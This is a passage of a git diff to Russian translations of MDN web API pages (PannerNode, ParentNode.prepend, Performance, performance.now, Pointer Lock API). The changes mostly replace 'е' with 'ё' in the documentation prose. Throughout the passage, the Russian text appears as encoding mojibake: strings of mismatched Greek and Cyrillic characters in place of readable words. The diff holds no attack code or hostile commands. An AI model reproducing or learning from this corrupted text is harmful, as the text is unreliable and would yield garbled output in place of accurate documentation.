+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ источника Π·Π²ΡƒΠΊΠ° вдоль оси Z (Π²ΠΏΠ΅Ρ€Ρ‘Π΄ ΠΈ Π½Π°Π·Π°Π΄) Π² правостороннСй систСмС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π”Π΅ΠΊΠ°Ρ€Ρ‚Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹ΠΉ {{domxref("AudioParam")}} нСпосрСдствСнно ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ нСльзя, Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ Ρ‡Π΅Ρ€Π΅Π· Π΅Π³ΠΎ свойство {{domxref("AudioParam.value", "value")}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0.</dd>
<dt>{{domxref("PannerNode.refDistance")}}</dt>
<dd>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ° <code>double</code>, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅Π΅ справочноС (ΠΎΠΏΠΎΡ€Π½ΠΎΠ΅) расстояниС для ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ громкости ΠΏΡ€ΠΈ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠΈ источника Π·Π²ΡƒΠΊΠ° ΠΎΡ‚ ΡΠ»ΡƒΡˆΠ°Ρ‚Π΅Π»Ρ.</dd>
<dt>{{domxref("PannerNode.rolloffFactor")}}</dt>
@@ -119,7 +119,7 @@ translation_of: Web/API/PannerNode
<dl>
<dt>{{domxref("PannerNode.setVelocity()")}} {{obsolete_inline}}</dt>
<dd>Π­Ρ‚ΠΎ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ элСмСнт API ΠΈ Π΅Π³ΠΎ Ρ€Π°Π±ΠΎΡ‚Π° Π² дальнСйшСм Π½Π΅ гарантируСтся.<br>
- ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Π²Π΅ΠΊΡ‚ΠΎΡ€ распространСния Π·Π²ΡƒΠΊΠ° ΠΎΡ‚ источника - ΠΊΠ°ΠΊ быстро ΠΎΠ½ двиТСтся ΠΈ Π² ΠΊΠ°ΠΊΠΎΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ. Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ вСрсии спСцификации, {{domxref("PannerNode")}} ΠΈΠΌΠ΅Π» ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ распространСния, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π²Ρ‹Π΄Π°Ρ‚ΡŒ Π²Ρ‹ΡˆΠ΅ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° {{domxref("AudioBufferSourceNode")}}. Π­Ρ‚Π° функция Π½Π΅ Π±Ρ‹Π»Π° Ρ‡Π΅Ρ‚ΠΊΠΎ ΠΎΠ³ΠΎΠ²ΠΎΡ€Π΅Π½Π° ΠΈ ΠΈΠΌΠ΅Π»Π° ряд ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, поэтому Π±Ρ‹Π»Π° ΡƒΠ΄Π°Π»Π΅Π½Π° ΠΈΠ· спСцификации.</dd>
+ ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Π²Π΅ΠΊΡ‚ΠΎΡ€ распространСния Π·Π²ΡƒΠΊΠ° ΠΎΡ‚ источника - ΠΊΠ°ΠΊ быстро ΠΎΠ½ двиТСтся ΠΈ Π² ΠΊΠ°ΠΊΠΎΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ. Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ вСрсии спСцификации, {{domxref("PannerNode")}} ΠΈΠΌΠ΅Π» ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ распространСния, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π²Ρ‹Π΄Π°Ρ‚ΡŒ Π²Ρ‹ΡˆΠ΅ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ΅ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° {{domxref("AudioBufferSourceNode")}}. Π­Ρ‚Π° функция Π½Π΅ Π±Ρ‹Π»Π° Ρ‡Ρ‘Ρ‚ΠΊΠΎ ΠΎΠ³ΠΎΠ²ΠΎΡ€Π΅Π½Π° ΠΈ ΠΈΠΌΠ΅Π»Π° ряд ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, поэтому Π±Ρ‹Π»Π° ΡƒΠ΄Π°Π»Π΅Π½Π° ΠΈΠ· спСцификации.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/api/parentnode/prepend/index.html b/files/ru/web/api/parentnode/prepend/index.html
index 709a620f85..40017ad44f 100644
--- a/files/ru/web/api/parentnode/prepend/index.html
+++ b/files/ru/web/api/parentnode/prepend/index.html
@@ -16,7 +16,7 @@ translation_of: Web/API/ParentNode/prepend
<dl>
<dt><code>nodesToPrepend</code></dt>
- <dd>Один ΠΈΠ»ΠΈ Π±ΠΎΠ»Π»Π΅ ΡƒΠ·Π»ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ ΡƒΠ·Π»ΠΎΠΌ Π²Β  <code>ParentNode</code>. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π» ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π»ΠΈΠ±ΠΎ ΠΊΠ°ΠΊΒ {{domxref("Node")}} - ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π»ΠΈΠ±ΠΎ ΠΊΠ°ΠΊ строка; строки Π²ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ Π½ΠΎΠ²Ρ‹Π΅ ΡƒΠ·Π»Ρ‹ Ρ‚ΠΈΠΏΠ°Β {{domxref("Text")}}.</dd>
+ <dd>Один ΠΈΠ»ΠΈ Π±ΠΎΠ»Π»Π΅ ΡƒΠ·Π»ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ ΡƒΠ·Π»ΠΎΠΌ Π²Β  <code>ParentNode</code>. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ·Π΅Π» ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π»ΠΈΠ±ΠΎ ΠΊΠ°ΠΊΒ {{domxref("Node")}} - ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π»ΠΈΠ±ΠΎ ΠΊΠ°ΠΊ строка; строки Π²ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ Π½ΠΎΠ²Ρ‹Π΅ ΡƒΠ·Π»Ρ‹ Ρ‚ΠΈΠΏΠ°Β {{domxref("Text")}}.</dd>
</dl>
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
diff --git a/files/ru/web/api/performance/index.html b/files/ru/web/api/performance/index.html
index b8c2735644..bc721672b6 100644
--- a/files/ru/web/api/performance/index.html
+++ b/files/ru/web/api/performance/index.html
@@ -16,7 +16,7 @@ translation_of: Web/API/Performance
<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ этого Ρ‚ΠΈΠΏΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Π²Ρ‹Π·ΠΎΠ²Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β {{domxref("Window.performance")}}, доступного Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния.</p>
<div class="note">
-<p><strong><em>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</em>: </strong>Π­Ρ‚ΠΎΡ‚ интСрфСйс ΠΈ Π΅Π³ΠΎ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ доступны Π²Β <a href="/ru/docs/Web/API/Web_Workers_API">Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΏΠΎΡ‚ΠΎΠΊΠ°Ρ… выполнСния</a>, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ случаСв, пСрСчислСнных Π½ΠΈΠΆΠ΅. Π—Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступныС части интСрфСйса Π΅Ρ‰Π΅ Π½Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ (ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ см. Ρ€Π°Π·Π΄Π΅Π»Ρ‹ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ <a href="http://www.w3.org/TR/performance-timeline/#sec-window.performance-attribute">Performance Timeline</a> ΠΈΒ <a href="http://www.w3.org/TR/user-timing/#extensions-performance-interface">User Timing</a>). Π’Π°ΠΊΠΆΠ΅ Π·Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ относятся ΠΊ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒ контСксту. Если Π’Ρ‹ создадитС ΠΌΠ΅Ρ‚ΠΊΡƒ Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ (ΠΈΠ»ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌΒ ΠΏΠΎΡ‚ΠΎΠΊΠ΅), Ρ‚ΠΎ Π΅Π΅ нСльзя Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚.</p>
+<p><strong><em>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</em>: </strong>Π­Ρ‚ΠΎΡ‚ интСрфСйс ΠΈ Π΅Π³ΠΎ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ доступны Π²Β <a href="/ru/docs/Web/API/Web_Workers_API">Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΏΠΎΡ‚ΠΎΠΊΠ°Ρ… выполнСния</a>, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ случаСв, пСрСчислСнных Π½ΠΈΠΆΠ΅. Π—Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступныС части интСрфСйса Π΅Ρ‰Ρ‘ Π½Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ (ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ см. Ρ€Π°Π·Π΄Π΅Π»Ρ‹ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ <a href="http://www.w3.org/TR/performance-timeline/#sec-window.performance-attribute">Performance Timeline</a> ΠΈΒ <a href="http://www.w3.org/TR/user-timing/#extensions-performance-interface">User Timing</a>). Π’Π°ΠΊΠΆΠ΅ Π·Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ относятся ΠΊ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒ контСксту. Если Π’Ρ‹ создадитС ΠΌΠ΅Ρ‚ΠΊΡƒ Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ (ΠΈΠ»ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌΒ ΠΏΠΎΡ‚ΠΎΠΊΠ΅), Ρ‚ΠΎ Π΅Ρ‘ нСльзя Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚.</p>
</div>
<h2 id="Бвойства">Бвойства</h2>
@@ -56,9 +56,9 @@ translation_of: Web/API/Performance
<dt>{{domxref("Performance.getEntriesByType()")}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ список ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β {{domxref("PerformanceEntry")}} ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚,Β <em>Ρ‚ΠΈΠΏΠ° записи</em>.</dd>
<dt>{{domxref("Performance.mark()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ {{domxref("DOMHighResTimeStamp","Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΜΡŽ ΠΌΠ΅Ρ‚ΠΊΡƒ")}} с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌΒ Π² <em>Π±ΡƒΡ„Π΅Ρ€Π΅ записСй ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</em></dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ {{domxref("DOMHighResTimeStamp","Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΜΡŽ ΠΌΠ΅Ρ‚ΠΊΡƒ")}} с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌΒ Π² <em>Π±ΡƒΡ„Π΅Ρ€Π΅ записСй ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ.</em></dd>
<dt>{{domxref("Performance.measure()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΡƒΡŽΒ {{domxref("DOMHighResTimeStamp","Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΜΡŽ ΠΌΠ΅Ρ‚ΠΊΡƒ")}} Π²Β Π±ΡƒΡ„Π΅Ρ€Π΅ записСй ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΌΠ΅Ρ‚ΠΊΠ°ΠΌΠΈ (извСстных ΠΊΠ°ΠΊ <em>start mark</em>Β (Π½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ ΠΌΠ΅Ρ‚ΠΊΠ°) ΠΈ <em>end markΒ </em>(конСчная ΠΌΠ΅Ρ‚ΠΊΠ°), соотвСтствСнно).</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΡƒΡŽΒ {{domxref("DOMHighResTimeStamp","Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΜΡŽ ΠΌΠ΅Ρ‚ΠΊΡƒ")}} Π²Β Π±ΡƒΡ„Π΅Ρ€Π΅ записСй ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ ΠΌΠ΅Ρ‚ΠΊΠ°ΠΌΠΈ (извСстных ΠΊΠ°ΠΊ <em>start mark</em>Β (Π½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ ΠΌΠ΅Ρ‚ΠΊΠ°) ΠΈ <em>end markΒ </em>(конСчная ΠΌΠ΅Ρ‚ΠΊΠ°), соотвСтствСнно).</dd>
<dt>{{domxref("Performance.now()")}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("DOMHighResTimeStamp")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ количСство миллисСкунд, ΠΏΡ€ΠΎΡˆΠ΅Π΄ΡˆΠΈΡ… с Π½Π°Ρ‡Π°Π»Π° ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° отсчСта.</dd>
<dt>{{domxref("Performance.setResourceTimingBufferSize()")}}</dt>
diff --git a/files/ru/web/api/performance/now/index.html b/files/ru/web/api/performance/now/index.html
index bf7359c969..3c0ae8630b 100644
--- a/files/ru/web/api/performance/now/index.html
+++ b/files/ru/web/api/performance/now/index.html
@@ -33,7 +33,7 @@ var t1 = performance.now();
console.log("Call to doSomething took " + (t1 - t0) + " milliseconds.")
</pre>
-<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… врСмСнны́х типов Π΄Π°Π½Π½Ρ‹Ρ…, доступных Π² JavaScript (Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now"><code>Date.now</code></a>), ΠΌΠ΅Ρ‚ΠΊΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ,Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹Π΅Β ΠΈΠ·Β <code>performance.now(),</code>Β Π½Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Ρ‹ ΠΊΡ€Π°Ρ‚Π½ΠΎΡΡ‚ΡŒΡŽ Π² ΠΎΠ΄Π½Ρƒ миллисСкунду, Π° ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈΒ ΠΊΠ°ΠΊ число с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой, с Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒΡŽ Π΄ΠΎ микросСкунд.</p>
+<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… врСмСнны́х типов Π΄Π°Π½Π½Ρ‹Ρ…, доступных Π² JavaScript (Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now"><code>Date.now</code></a>), ΠΌΠ΅Ρ‚ΠΊΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ,Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹Π΅Β ΠΈΠ·Β <code>performance.now(),</code>Β Π½Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Ρ‹ ΠΊΡ€Π°Ρ‚Π½ΠΎΡΡ‚ΡŒΡŽ Π² ΠΎΠ΄Π½Ρƒ миллисСкунду, Π° ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈΒ ΠΊΠ°ΠΊ число с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой, с Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒΡŽ Π΄ΠΎ микросСкунд.</p>
<p>Π’Π°ΠΊΠΆΠ΅, Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ <code>Date.now</code>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ ΠΈΠ·Β <code>performance.now(), всСгда возрастаСт с постоянной ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ, нСзависимо ΠΎΡ‚ систСмного Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈΒ </code>(ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΡΡ‚Π°Π½ΠΎΠ²Π»Π΅Π½ΠΎΒ Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°ΠΌΠΈ Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅Β NTP).</p>
diff --git a/files/ru/web/api/pointer_lock_api/index.html b/files/ru/web/api/pointer_lock_api/index.html
index f02441f710..380e2b0888 100644
--- a/files/ru/web/api/pointer_lock_api/index.html
+++ b/files/ru/web/api/pointer_lock_api/index.html
@@ -3,11 +3,11 @@ title: Pointer Lock API
slug: Web/API/Pointer_Lock_API
translation_of: Web/API/Pointer_Lock_API
---
-<p><span class="seoSummary"><strong>Pointer lock</strong> <strong>API</strong>(ΠΏΡ€Π΅ΠΆΠ½Π΅Π΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ Mouse Lock API)Β </span><span style="line-height: 1.5;">обСспСчиваСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π²Π²ΠΎΠ΄Π°, основанныС Π½Π° Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠΈ ΠΌΡ‹ΡˆΠΈ , Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹Ρ… ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°Ρ… курсора </span><span style="line-height: 1.5;">Π² ΠΎΠΊΠ½Π΅. Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ доступ ΠΊ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΌ двиТСниям ΠΌΡ‹ΡˆΠΈ, прикрСпляСт курсор ΠΌΡ‹ΡˆΠΈ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ элСмСнту </span><span style="line-height: 1.5;">Π² ΠΎΠΊΠ½Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span><span style="line-height: 1.5;">, прСдоставляСт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ ΠΌΡ‹ΡˆΠΈ Π½Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ ΠΎΠΊΠ½Π° ΠΏΡ€ΠΎΠ΅ΠΊΡ†ΠΈΠΈ, ΠΈ скрываСт курсор ΠΈΠ· поля зрСния. Π­Ρ‚ΠΎ идСальноС Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ для 3D ΠΈΠ³Ρ€, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€.</span></p>
+<p><span class="seoSummary"><strong>Pointer lock</strong> <strong>API</strong>(ΠΏΡ€Π΅ΠΆΠ½Π΅Π΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ Mouse Lock API)Β </span><span style="line-height: 1.5;">обСспСчиваСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π²Π²ΠΎΠ΄Π°, основанныС Π½Π° Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠΈ ΠΌΡ‹ΡˆΠΈ , Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹Ρ… ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°Ρ… курсора </span><span style="line-height: 1.5;">Π² ΠΎΠΊΠ½Π΅. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ доступ ΠΊ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΌ двиТСниям ΠΌΡ‹ΡˆΠΈ, прикрСпляСт курсор ΠΌΡ‹ΡˆΠΈ ΠΊ 